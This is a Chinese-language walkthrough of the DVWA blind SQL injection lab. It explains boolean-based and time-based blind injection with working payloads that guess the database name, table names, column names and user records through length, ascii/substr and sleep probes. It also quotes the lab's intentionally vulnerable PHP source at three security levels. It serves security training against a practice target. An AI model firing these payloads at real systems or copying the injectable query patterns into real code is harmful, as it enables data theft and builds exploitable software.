文章目录
一、概述
盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
普通注入与盲注的区别:
普通注入是可以根据报错提示,进行sql语句注入从而,直接爆出我们想要的信息,比如数据库版本、数据库名、用户名、操作系统版本等;而盲注只能通过多次猜测,从而猜解出有用信息。相对来说sql盲注更加考验安全人员的手注能力。
SQL盲注分类:
- 布尔盲注
- 事件盲注
- 报错盲注
二、low
2.1 通关思路(布尔盲注)
(1)判断是否存在SQL注入漏洞
(2)判断属于数字型注入还是字符型注入
1+and+1=1+--+
1+and+1=2+--+
1'+and+1=1+--+
1'+and+1=2+--+
(3)判断结果集中的字段数
1'+order+by+<数字>+--+
(4)猜数据库名长度
1'+and+length(database())=1+--+
使用sniper
进行爆破
(5)猜数据库名
1'+and+ascii((substr(database(),<变量1>,1)))=<变量2>+--+
(6)猜表的个数
1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema=database())=1+--+
同理,爆表个数
(7)猜第一个表名
1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),0,1))=103+--+
(8)猜user表中的字段个数、每个字段的长度、名称
1)该表中的字段个数
1'+and+(select+count(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users')=8+--+
2)猜第一个字段的长度
1'+and+length((select+column_name+from+information_schema.columns+where+table_name='users'+limit+0,1))=7+--+
3)猜第一个字段的第一个字母
1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name='users'+limit+0,1),1,1))=117+--+
(9)猜字段内容
1)以猜user字段的第一个字段值为例:
1'+and+length((select+user+from+dvwa.users+limit+0,1))=5+--+
2)猜第一个字段值的首字母
1'+and+ascii(substr((select+user+from+dvwa.users+limit+0,1),1,1))=97+--+
2.2 通关思路(时间盲注)
(1)判断是否存在SQL注入漏洞,属于字符型还是数字型
1+and+sleep(5)+--+ //数字型则等待5秒;
1'+and+sleep(5)+--+ //字符型则等待5秒;
(2)猜测当前数据库名长度、首字母
1)猜测数据库名长度
1'+and+if(length(database())=4,sleep(5),1)+--+
2)猜测数据库名的首字母
1'+and+if(ascii((substr(database(),1,1)))=100,sleep(5),1)+--+
2.3 源码分析
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
分析:
源码直接用 GET 方法传入参数 id,但是没有经过任何过滤就拿去 SQL 查询了。同时我们看到网页并不会返回查询的结果,而是当查询到内容时返回 “User ID exists in the database”,查不到时返回 “User ID is MISSING from the database”。
三、medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
分析:源码使用了 mysql_real_escape_string()
函数转义字符串中的特殊字符。也就是说特殊符号 \x00
、\n
、\r
、\
、'
、"
和 \x1a
都将进行转义。同时开发者把前端页面的输入框删了,改成了下拉选择表单,希望以此来控制用户的输入。
四、high
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
分析:High 级别的只是在 SQL 查询语句中添加了 LIMIT 1
,这令服务器仅回显查询到的一个结果。同时源码利用了 cookie 传递参数 id,当 SQL 查询结果为空时会执行函数 sleep()
,这是为了混淆基于时间的盲注的响应时间判断。